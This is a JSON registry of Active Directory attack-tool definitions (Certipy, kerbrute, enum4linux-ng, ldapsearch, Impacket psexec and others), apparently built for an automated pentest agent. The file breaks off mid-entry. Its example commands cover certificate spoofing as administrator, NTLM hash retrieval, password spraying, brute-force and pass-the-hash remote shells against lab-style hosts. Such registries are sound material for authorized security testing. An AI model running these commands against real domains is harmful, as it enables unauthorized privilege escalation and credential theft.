    "_body": "\n# Certipy — AD CS Exploitation\n\nCertipy is a Python-based tool for attacking Active Directory Certificate Services. It automates the discovery and exploitation of certificate template vulnerabilities (ESC1-ESC8).\n\n## Common Attacks\n\n| Attack | Description | Command |\n|--------|-------------|---------|\n| **find** | Enumerate CAs and vulnerable templates | `certipy-ad find` |\n| **ESC1** | Certificate with SAN (subjectAltName) spoofing | `certipy-ad req -template Vuln -upn admin@corp` |\n| **ESC4** | Modify template ACLs to enable ESC1 | `certipy-ad template -template Vuln` |\n| **auth** | Authenticate with PFX to get NTLM hash | `certipy-ad auth -pfx cert.pfx` |\n| **req** | Request certificate from CA | `certipy-ad req -ca CA-NAME -template Template` |\n",
    "_source": "certipy.md",
    "allowed-tools": [
      "certipy"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Exploitation",
      "PrivilegeEscalation"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.ad.cs.find",
      "security.ad.cs.esc1",
      "security.ad.cs.esc4",
      "security.ad.cs.auth",
      "security.ad.cert.enum"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Domain controller or CA server IP"
        },
        {
          "type": "credential.username",
          "description": "Domain username"
        },
        {
          "type": "credential.password",
          "description": "Domain password"
        }
      ],
      "outputs": [
        {
          "type": "security.ad.certificate",
          "description": "Obtained certificate (PFX file)"
        },
        {
          "type": "security.ad.credential",
          "description": "Authentication-derived NTLM hash"
        }
      ],
      "side_effects": [
        "network_traffic"
      ]
    },
    "dependencies": [
      "python3",
      "impacket"
    ],
    "description": "Active Directory Certificate Services (AD CS) exploitation tool that finds vulnerable certificate templates, escrows, and performs ESC1-ESC8 attacks for domain privilege escalation.",
    "examples": [
      {
        "description": "Find vulnerable certificate templates and CAs",
        "command": "certipy-ad find -u user@evilcorp.local -p pass123 -dc-ip 10.10.10.1"
      },
      {
        "description": "Find vulnerable templates with DNS-TCP transport",
        "command": "certipy-ad find -u {{USER}}@{{DOMAIN}} -p '{{PASSWORD}}' -dc-ip {{IP}} -dns-tcp"
      },
      {
        "description": "ESC1 — request certificate as a different user (machine account)",
        "command": "certipy-ad req -u user@evilcorp.local -p pass123 -ca EVILCORP-CA -template VulnTemplate -upn administrator@evilcorp.local"
      },
      {
        "description": "Authenticate with obtained PFX certificate to get NTLM hash",
        "command": "certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.10.1"
      },
      {
        "description": "ESC4 — modify vulnerable template to enable ESC1",
        "command": "certipy-ad template -u user@evilcorp.local -p pass123 -template VulnTemplate -save-old"
      },
      {
        "description": "List CAs and servers",
        "command": "certipy-ad find -u {{USER}}@{{DOMAIN}} -p '{{PASSWORD}}' -dc-ip {{IP}} -enabled"
      }
    ],
    "execution": {
      "template": "certipy-ad {action}",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "encryption",
      "file-system",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {
      "target": "ip",
      "username": "user"
    },
    "id": "security-ad-certipy",
    "install": [
      {
        "method": "pip",
        "package_name": "certipy-ad",
        "commands": [
          "pip install certipy-ad"
        ]
      }
    ],
    "items": [
      "Password",
      "NoCreds"
    ],
    "mitre_ids": [
      "T1558",
      "T1649"
    ],
    "name": "Certipy",
    "namespace": "security:ad:certipy",
    "parameters": [
      {
        "name": "action",
        "type": "string",
        "required": true,
        "description": "Action: find, req, auth, template"
      },
      {
        "name": "target",
        "type": "string",
        "required": false,
        "description": "Target CA server or domain controller"
      },
      {
        "name": "username",
        "type": "string",
        "required": false,
        "description": "Domain username"
      },
      {
        "name": "password",
        "type": "string",
        "required": false,
        "description": "Domain password"
      },
      {
        "name": "ca",
        "type": "string",
        "required": false,
        "description": "Certificate Authority name"
      },
      {
        "name": "template",
        "type": "string",
        "required": false,
        "description": "Certificate template name (for ESC1/ESC4)"
      }
    ],
    "platforms": [
      "linux",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Certipy GitHub",
        "url": "https://github.com/ly4k/Certipy"
      }
    ],
    "related_tools": [
      "bloodhound",
      "netexec"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [
      "ADCS",
      "LDAP"
    ],
    "techniques": [
      "privilege-escalation",
      "credential-access"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "dcdiag.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Domain Controller diagnostics tool for analyzing AD domain controllers.",
    "examples": [
      {
        "description": "Run dcdiag with default options",
        "command": "dcdiag /?"
      }
    ],
    "execution": {
      "template": "dcdiag /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "cmd-dcdiag",
    "mitre_ids": [],
    "name": "dcdiag",
    "namespace": "security:ad:diagnostic",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "dcdiag Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dcdiag"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "\n# enum4linux-ng — SMB & NetBIOS Enumeration\n\nenum4linux-ng is a Python rewrite of the original enum4linux.pl, providing comprehensive SMB and NetBIOS enumeration against Windows and Samba hosts.\n\n## Enumeration Modules\n\n| Module | Flag | Description |\n|--------|------|-------------|\n| OS Info | auto | Detect operating system and version |\n| Users | `-U` | List domain and local users |\n| Groups | `-G` | List groups and members |\n| Shares | `-S` | List SMB shares and permissions |\n| Password Policy | `-P` | Extract domain password policy |\n| Printers | auto | Enumerate printer shares |\n| Sessions | auto | Detect logged-in users |\n| RID Cycling | auto | Brute-force RIDs for user enumeration |\n\n## Authentication Modes\n\n- **Null session** (no credentials): Limited information\n- **Guest session**: Slightly more access\n- **Authenticated**: Full enumeration with valid credentials\n",
    "_source": "security-ad-enum4linux-ng.md",
    "allowed-tools": [
      "enum4linux-ng"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Enumeration",
      "CredentialAccess",
      "LateralMovement"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.ad.enum.users",
      "security.ad.enum.shares",
      "security.ad.enum.groups",
      "security.ad.enum.passwordpolicy",
      "security.ad.enum.osinfo",
      "security.ad.enum.sessions"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Target IP address"
        },
        {
          "type": "credential.username",
          "description": "Optional username for authenticated queries"
        },
        {
          "type": "credential.password",
          "description": "Optional password for authenticated queries"
        }
      ],
      "outputs": [
        {
          "type": "security.ad.enum.users",
          "description": "List of domain/local users"
        },
        {
          "type": "security.ad.enum.shares",
          "description": "Available SMB shares"
        },
        {
          "type": "security.ad.enum.groups",
          "description": "Group memberships"
        },
        {
          "type": "security.ad.passwordpolicy",
          "description": "Domain password policy"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "Python reimplementation of enum4linux for comprehensive SMB and NetBIOS enumeration of Windows and Active Directory targets.",
    "examples": [
      {
        "description": "Full enumeration with all modules",
        "command": "enum4linux-ng -A 10.10.10.1"
      },
      {
        "description": "Enumerate users only",
        "command": "enum4linux-ng -U 10.10.10.1"
      },
      {
        "description": "Authenticated enumeration with domain credentials",
        "command": "enum4linux-ng -A 10.10.10.1 -u jdoe -p Pass123 -d evilcorp.local"
      },
      {
        "description": "Enumerate password policy and shares",
        "command": "enum4linux-ng -P -S 10.10.10.1"
      },
      {
        "description": "Quiet mode with output to directory",
        "command": "enum4linux-ng -A 10.10.10.1 -q -o ./enum-results"
      }
    ],
    "execution": {
      "template": "enum4linux-ng -A {target}",
      "sandbox": "execFile",
      "timeout_seconds": 120,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "compression",
      "file-system",
      "interactive",
      "process-manip"
    ],
    "global_vars": {
      "target": "ip"
    },
    "id": "security-ad-enum4linux-ng",
    "install": [
      {
        "method": "pip",
        "package_name": "enum4linux-ng",
        "commands": [
          "pip install enum4linux-ng"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "name": "enum4linux-ng",
    "namespace": "security:ad:enum4linux-ng",
    "parameters": [
      {
        "name": "target",
        "type": "string",
        "required": true,
        "description": "Target IP address or hostname",
        "aliases": [
          "-t",
          "--target"
        ],
        "flag": "-t"
      },
      {
        "name": "all",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Run all enumeration modules",
        "aliases": [
          "-A",
          "--all"
        ],
        "flag": "-A"
      },
      {
        "name": "users",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enumerate users",
        "aliases": [
          "-U",
          "--users"
        ],
        "flag": "-U"
      },
      {
        "name": "shares",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enumerate shares",
        "aliases": [
          "-S",
          "--shares"
        ],
        "flag": "-S"
      },
      {
        "name": "password-policy",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enumerate password policy",
        "aliases": [
          "-P",
          "--password-policy"
        ],
        "flag": "-P"
      },
      {
        "name": "groups",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enumerate groups",
        "aliases": [
          "-G",
          "--groups"
        ],
        "flag": "-G"
      },
      {
        "name": "username",
        "type": "string",
        "required": false,
        "description": "Username for authenticated enumeration",
        "aliases": [
          "-u",
          "--username"
        ],
        "flag": "-u"
      },
      {
        "name": "password",
        "type": "string",
        "required": false,
        "description": "Password for authenticated enumeration",
        "aliases": [
          "-p",
          "--password"
        ],
        "flag": "-p"
      },
      {
        "name": "domain",
        "type": "string",
        "required": false,
        "description": "Domain name for authentication",
        "aliases": [
          "-d",
          "--domain"
        ],
        "flag": "-d"
      },
      {
        "name": "workgroup",
        "type": "string",
        "required": false,
        "description": "Workgroup name (default: WORKGROUP)",
        "aliases": [
          "-w",
          "--workgroup"
        ],
        "flag": "-w"
      },
      {
        "name": "output",
        "type": "string",
        "required": false,
        "description": "Output directory for results",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "timeout",
        "type": "integer",
        "required": false,
        "default_value": 5,
        "description": "Timeout in seconds for network operations",
        "aliases": [
          "--timeout"
        ],
        "flag": "--timeout"
      },
      {
        "name": "N",
        "type": "boolean",
        "required": false,
        "description": "Disable SMBv1 protocol",
        "aliases": [
          "-N",
          "--no-smb1"
        ],
        "flag": "-N"
      },
      {
        "name": "R",
        "type": "boolean",
        "required": false,
        "description": "Recursive share listing",
        "aliases": [
          "-R",
          "--recursive-listing"
        ],
        "flag": "-R"
      },
      {
        "name": "q",
        "type": "boolean",
        "required": false,
        "description": "Quiet mode (suppress banner)",
        "aliases": [
          "-q",
          "--quiet"
        ],
        "flag": "-q"
      },
      {
        "name": "v",
        "type": "boolean",
        "required": false,
        "description": "Verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "w",
        "type": "boolean",
        "required": false,
        "description": "string    Workgroup (default WORKGROUP)",
        "aliases": [
          "-w",
          "--workgroup"
        ],
        "flag": "-w"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "cross-platform"
    ],
    "references": [
      {
        "label": "enum4linux-ng GitHub",
        "url": "https://github.com/cddmp/enum4linux-ng"
      }
    ],
    "related_tools": [
      "smbclient",
      "smbmap",
      "rpcclient",
      "impacket"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [
      "SMB"
    ],
    "techniques": [
      "credential-access",
      "discovery",
      "lateral-movement"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "csvde.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Imports and exports Active Directory objects using CSV format files.",
    "examples": [
      {
        "description": "Run csvde with default options",
        "command": "csvde /?"
      }
    ],
    "execution": {
      "template": "csvde /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "cmd-csvde",
    "mitre_ids": [],
    "name": "csvde",
    "namespace": "security:ad:export",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "csvde Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/csvde"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "\n# kerbrute — Kerberos Pre-Authentication Attacks\n\nkerbrute is a Go-based tool for performing Kerberos pre-authentication attacks against Active Directory, including **user enumeration**, **password spraying**, and **brute-forcing**.\n\n## Subcommands\n\n| Subcommand | Description |\n|------------|-------------|\n| `userenum` | Enumerate valid domain users via Kerberos AS-REP |\n| `passwordspray` | Spray a single password across multiple users |\n| `bruteforce` | Brute-force passwords for known users |\n| `winrmbrute` | Kerberos-based WinRM brute-force (deprecated) |\n\n## How It Works\n\nkerbrute sends AS-REQ packets to the domain controller. If the user exists, Kerberos responds with `KDC_ERR_PREAUTH_REQUIRED`; if the user does not exist, it responds with `KDC_ERR_C_PRINCIPAL_UNKNOWN`. This allows user enumeration without ever sending a password.\n",
    "_source": "security-ad-kerbrute.md",
    "allowed-tools": [
      "kerbrute"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Enumeration",
      "CredentialAccess",
      "LateralMovement"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.ad.kerberos.bruteforce",
      "security.ad.kerberos.userenum",
      "security.ad.kerberos.passwordspray",
      "security.ad.kerberos.preauth"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Domain controller IP"
        },
        {
          "type": "domain.name",
          "description": "Target domain name"
        },
        {
          "type": "credential.username",
          "description": "Single username for enumeration"
        },
        {
          "type": "credential.userlist",
          "description": "File path to list of usernames"
        }
      ],
      "outputs": [
        {
          "type": "security.credential.hash",
          "description": "Captured Kerberos pre-authentication hashes"
        }
      ],
      "side_effects": [
        "network_traffic",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Tool for performing Kerberos pre-authentication brute-forcing, user enumeration, and password spraying against Active Directory.",
    "examples": [
      {
        "description": "Enumerate valid usernames via Kerberos pre-auth",
        "command": "kerbrute userenum -d evilcorp.local -U usernames.txt --dc 10.10.10.1"
      },
      {
        "description": "Password spray one password across all users",
        "command": "kerbrute passwordspray -d evilcorp.local -U usernames.txt -p Password123 --dc 10.10.10.1"
      },
      {
        "description": "Brute-force password for a single user",
        "command": "kerbrute bruteforce -d evilcorp.local -u administrator -P passwords.txt --dc 10.10.10.1"
      },
      {
        "description": "Enumerate users with verbose output and safe mode",
        "command": "kerbrute userenum -d evilcorp.local -U usernames.txt --dc 10.10.10.1 -v -s"
      },
      {
        "description": "Password spray with custom thread count and delay",
        "command": "kerbrute passwordspray -d evilcorp.local -U usernames.txt -p Passw0rd --dc 10.10.10.1 -t 5 --delay 1000"
      }
    ],
    "execution": {
      "template": "kerbrute userenum -d {domain} -U {userlist} --dc {dc-ip}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "pipes-stdout"
    ],
    "global_vars": {
      "target": "ip",
      "domain": "domain",
      "dc-ip": "ip"
    },
    "id": "security-ad-kerbrute",
    "install": [
      {
        "method": "go",
        "repo_url": "github.com/ropnop/kerbrute",
        "commands": [
          "go install github.com/ropnop/kerbrute@latest"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "name": "kerbrute",
    "namespace": "security:ad:kerbrute",
    "parameters": [
      {
        "name": "domain",
        "type": "string",
        "required": true,
        "description": "Domain FQDN (e.g. evilcorp.local)",
        "aliases": [
          "-d",
          "--domain"
        ],
        "flag": "-d"
      },
      {
        "name": "user",
        "type": "string",
        "required": false,
        "description": "Single username for testing",
        "aliases": [
          "-u",
          "--user"
        ],
        "flag": "-u"
      },
      {
        "name": "userlist",
        "type": "file",
        "required": false,
        "description": "File containing list of usernames",
        "aliases": [
          "-U",
          "--userlist"
        ],
        "flag": "-U"
      },
      {
        "name": "password",
        "type": "string",
        "required": false,
        "description": "Single password for spraying",
        "aliases": [
          "-p",
          "--password"
        ],
        "flag": "-p"
      },
      {
        "name": "passwordlist",
        "type": "file",
        "required": false,
        "description": "File containing list of passwords",
        "aliases": [
          "-P",
          "--passwordlist"
        ],
        "flag": "-P"
      },
      {
        "name": "threads",
        "type": "integer",
        "required": false,
        "default_value": 10,
        "description": "Number of concurrent threads",
        "aliases": [
          "-t",
          "--threads"
        ],
        "flag": "-t"
      },
      {
        "name": "dc-ip",
        "type": "string",
        "required": false,
        "description": "Domain controller IP address",
        "aliases": [
          "--dc",
          "--dc-ip"
        ],
        "flag": "--dc"
      },
      {
        "name": "output",
        "type": "string",
        "required": false,
        "description": "Output file for results",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "verbose",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enable verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "delay",
        "type": "integer",
        "required": false,
        "default_value": 0,
        "description": "Delay in milliseconds between requests",
        "aliases": [
          "--delay"
        ],
        "flag": "--delay"
      },
      {
        "name": "timeout",
        "type": "integer",
        "required": false,
        "default_value": 5,
        "description": "Timeout in seconds for each request",
        "aliases": [
          "--timeout"
        ],
        "flag": "--timeout"
      },
      {
        "name": "safe",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Safe mode — stop on account lockout risk",
        "aliases": [
          "-s",
          "--safe"
        ],
        "flag": "-s"
      },
      {
        "name": "hash_file",
        "type": "boolean",
        "required": false,
        "description": "hashes to file",
        "aliases": [
          "--hash-file",
          "-REP"
        ],
        "flag": "-REP"
      },
      {
        "name": "no_save",
        "type": "boolean",
        "required": false,
        "description": "Do not save results to file",
        "aliases": [
          "--no-save"
        ],
        "flag": "--no-save"
      },
      {
        "name": "s",
        "type": "boolean",
        "required": false,
        "description": "Safe mode — stop on lockout",
        "aliases": [
          "-s",
          "--safe"
        ],
        "flag": "-s"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "cross-platform"
    ],
    "references": [
      {
        "label": "kerbrute GitHub",
        "url": "https://github.com/ropnop/kerbrute"
      }
    ],
    "related_tools": [
      "impacket",
      "netexec",
      "rpcclient"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [
      "Kerberos"
    ],
    "techniques": [
      "credential-access",
      "discovery",
      "lateral-movement"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n# ldapsearch — LDAP Directory Query Tool\n\nldapsearch is the standard command-line LDAP search tool from OpenLDAP, used to query Active Directory and other LDAP-compliant directory services.\n\n## Common AD LDAP Filters\n\n| Query | LDAP Filter |\n|-------|-------------|\n| All users | `(objectClass=user)` |\n| All groups | `(objectClass=group)` |\n| All computers | `(objectClass=computer)` |\n| Domain Admins | `(&(objectClass=group)(cn=Domain Admins))` |\n| Users with SPNs | `(&(objectClass=user)(servicePrincipalName=*))` |\n| Users without pre-auth | `(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))` |\n| Locked out users | `(&(objectClass=user)(lockoutTime>=1))` |\n| Disabled users | `(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))` |\n\n## Anonymous Access\n\nIf the domain controller allows anonymous LDAP queries, you can enumerate significant AD information without any credentials using `ldapsearch -x -H ldap://DC_IP -b dc=domain,dc=local -s sub \"(objectClass=*)\"`.\n",
    "_source": "security-ad-ldapsearch.md",
    "allowed-tools": [
      "ldapsearch"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Enumeration",
      "CredentialAccess",
      "LateralMovement"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.ad.enum.users",
      "security.ad.enum.groups",
      "security.ad.enum.computers",
      "security.ad.enum.ous",
      "security.ad.enum.gpos",
      "security.ad.ldap.query"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.uri",
          "description": "LDAP server URI (ldap:// or ldaps://)"
        },
        {
          "type": "credential.binddn",
          "description": "Distinguished name for LDAP bind"
        },
        {
          "type": "credential.password",
          "description": "Password for LDAP bind"
        },
        {
          "type": "ldap.basedn",
          "description": "Base DN for search scope"
        }
      ],
      "outputs": [
        {
          "type": "security.ad.enum.results",
          "description": "LDAP query results in LDIF format"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "LDAP directory search tool for querying Active Directory to enumerate users, groups, computers, organizational units, and domain policies.",
    "examples": [
      {
        "description": "Anonymous LDAP query to retrieve base DSE",
        "command": "ldapsearch -x -H ldap://10.10.10.1 -b \"\" -s base"
      },
      {
        "description": "Enumerate all users in the domain",
        "command": "ldapsearch -x -H ldap://10.10.10.1 -D jdoe@evilcorp.local -w Pass123 -b dc=evilcorp,dc=local \"(objectClass=user)\""
      },
      {
        "description": "Enumerate all domain groups",
        "command": "ldapsearch -x -H ldap://10.10.10.1 -D jdoe@evilcorp.local -w Pass123 -b dc=evilcorp,dc=local \"(objectClass=group)\""
      },
      {
        "description": "Find domain admins group members",
        "command": "ldapsearch -x -H ldap://10.10.10.1 -D jdoe@evilcorp.local -w Pass123 -b dc=evilcorp,dc=local \"(&(objectClass=group)(cn=Domain Admins))\" member"
      },
      {
        "description": "Enumerate all computers in the domain",
        "command": "ldapsearch -x -H ldap://10.10.10.1 -D jdoe@evilcorp.local -w Pass123 -b dc=evilcorp,dc=local \"(objectClass=computer)\""
      },
      {
        "description": "Search for users with SPNs (kerberoast target)",
        "command": "ldapsearch -x -H ldap://10.10.10.1 -D jdoe@evilcorp.local -w Pass123 -b dc=evilcorp,dc=local \"(&(objectClass=user)(servicePrincipalName=*))\" servicePrincipalName"
      },
      {
        "description": "Find users with Kerberos pre-auth disabled (AS-REP roast)",
        "command": "ldapsearch -x -H ldap://10.10.10.1 -D jdoe@evilcorp.local -w Pass123 -b dc=evilcorp,dc=local \"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))\" samaccountname"
      }
    ],
    "execution": {
      "template": "ldapsearch -x -H {uri} -b {base-dn}",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {
      "uri": "string",
      "base-dn": "string"
    },
    "id": "security-ad-ldapsearch",
    "install": [
      {
        "method": "apt",
        "package_name": "ldap-utils",
        "commands": [
          "apt-get install -y ldap-utils"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "mitre_ids": [
      "T1087",
      "T1069"
    ],
    "name": "ldapsearch",
    "namespace": "security:ad:ldapsearch",
    "parameters": [
      {
        "name": "simple",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Use simple authentication (not SASL)",
        "aliases": [
          "-x",
          "--simple"
        ],
        "flag": "-x"
      },
      {
        "name": "uri",
        "type": "string",
        "required": false,
        "description": "LDAP server URI (ldap://host:port)",
        "aliases": [
          "-H",
          "--uri"
        ],
        "flag": "-H"
      },
      {
        "name": "bind-dn",
        "type": "string",
        "required": false,
        "description": "Distinguished name to bind as",
        "aliases": [
          "-D",
          "--bind-dn"
        ],
        "flag": "-D"
      },
      {
        "name": "password",
        "type": "string",
        "required": false,
        "description": "Password for LDAP bind",
        "aliases": [
          "-w",
          "--password"
        ],
        "flag": "-w"
      },
      {
        "name": "base-dn",
        "type": "string",
        "required": false,
        "description": "Base DN for search",
        "aliases": [
          "-b",
          "--base-dn"
        ],
        "flag": "-b"
      },
      {
        "name": "scope",
        "type": "string",
        "required": false,
        "default_value": "sub",
        "description": "Search scope (base, one, sub, children)",
        "aliases": [
          "-s",
          "--scope"
        ],
        "flag": "-s"
      },
      {
        "name": "filter",
        "type": "string",
        "required": false,
        "default_value": "(objectClass=*)",
        "description": "LDAP search filter",
        "aliases": [
          "-f",
          "--filter"
        ],
        "flag": "-f"
      },
      {
        "name": "format",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "LDIF format with comments only",
        "aliases": [
          "-LLL"
        ],
        "flag": "-LLL"
      },
      {
        "name": "time-limit",
        "type": "integer",
        "required": false,
        "default_value": 0,
        "description": "Time limit in seconds for search",
        "aliases": [
          "-l",
          "--time-limit"
        ],
        "flag": "-l"
      },
      {
        "name": "size-limit",
        "type": "integer",
        "required": false,
        "default_value": 0,
        "description": "Maximum number of entries to return",
        "aliases": [
          "-z",
          "--size-limit"
        ],
        "flag": "-z"
      },
      {
        "name": "host",
        "type": "string",
        "required": false,
        "description": "LDAP server hostname",
        "aliases": [
          "-h",
          "--host"
        ],
        "flag": "-h"
      },
      {
        "name": "port",
        "type": "integer",
        "required": false,
        "default_value": 389,
        "description": "LDAP server port",
        "aliases": [
          "-p",
          "--port"
        ],
        "flag": "-p"
      },
      {
        "name": "starttls",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Use STARTTLS to upgrade to TLS",
        "aliases": [
          "-Z",
          "--starttls"
        ],
        "flag": "-Z"
      },
      {
        "name": "E",
        "type": "boolean",
        "required": false,
        "description": "LDAP extensions",
        "aliases": [
          "-E",
          "--extensions"
        ],
        "flag": "-E"
      },
      {
        "name": "LLL",
        "type": "boolean",
        "required": false,
        "description": "LDIF format (no comments/version)",
        "aliases": [
          "-LLL"
        ],
        "flag": "-LLL"
      },
      {
        "name": "O",
        "type": "boolean",
        "required": false,
        "description": "Security properties",
        "aliases": [
          "-O",
          "--security"
        ],
        "flag": "-O"
      },
      {
        "name": "Y",
        "type": "boolean",
        "required": false,
        "description": "SASL authorization identity",
        "aliases": [
          "-Y",
          "--authzid"
        ],
        "flag": "-Y"
      },
      {
        "name": "o",
        "type": "boolean",
        "required": false,
        "description": "General options",
        "aliases": [
          "-o",
          "--options"
        ],
        "flag": "-o"
      },
      {
        "name": "v",
        "type": "boolean",
        "required": false,
        "description": "Verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "cross-platform"
    ],
    "references": [
      {
        "label": "OpenLDAP ldapsearch man page",
        "url": "https://www.openldap.org/software/man.cgi?query=ldapsearch"
      }
    ],
    "related_tools": [
      "impacket",
      "windapsearch",
      "ad-ldap-enum"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [
      "LDAP"
    ],
    "techniques": [
      "credential-access",
      "discovery",
      "lateral-movement"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n# psexec — Remote Command Execution via SMB\n\npsexec (Impacket implementation) enables remote command execution on Windows systems by creating and starting a Windows service via SMB. It is Python-native and does not require any binaries on the target.\n\n## How It Works\n\n1. Connects to `ADMIN$` or specified share via SMB\n2. Uploads a service binary (or generates one inline)\n3. Creates a Windows service via the Service Control Manager\n4. Starts the service, which executes the command\n5. Captures stdout/stderr via SMB named pipes\n6. Removes the service and cleans up\n\n## Comparison with Other Impacket Exec Tools\n\n| Tool | Technique | Detection Risk |\n|------|-----------|----------------|\n| **psexec** | Windows Service (SVCCTL) | High — service creation logged |\n| **wmiexec** | WMI (DCOM) | Medium — event log 4688 |\n| **smbexec** | Scheduled Task via SMB | Medium — task creation logged |\n| **atexec** | Scheduled Task via AT | Lower — older technique |\n| **dcomexec** | DCOM objects | Medium — depends on object |\n",
    "_source": "security-ad-psexec.md",
    "allowed-tools": [
      "psexec"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Enumeration",
      "CredentialAccess",
      "LateralMovement"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.lateral.psexec",
      "security.shell.remote",
      "security.execution.remote",
      "security.ad.service.control"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Target IP address"
        },
        {
          "type": "credential.username",
          "description": "Domain username (admin required)"
        },
        {
          "type": "credential.password",
          "description": "Plaintext password or NTLM hash"
        }
      ],
      "outputs": [
        {
          "type": "security.shell.session",
          "description": "Remote shell on target system"
        },
        {
          "type": "command.output",
          "description": "Output of executed command"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn",
        "filesystem_write",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3",
      "impacket"
    ],
    "description": "Impacket psexec — Windows remote command execution via SMB service control manager for lateral movement in Active Directory environments.",
    "examples": [
      {
        "description": "Interactive shell with plaintext credentials",
        "command": "impacket-psexec evilcorp.local/administrator:Pass123@10.10.10.1"
      },
      {
        "description": "Pass-the-hash for interactive shell",
        "command": "impacket-psexec evilcorp.local/administrator@10.10.10.1 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0"
      },
      {
        "description": "Execute single command and exit",
        "command": "impacket-psexec evilcorp.local/administrator:Pass123@10.10.10.1 whoami"
      },
      {
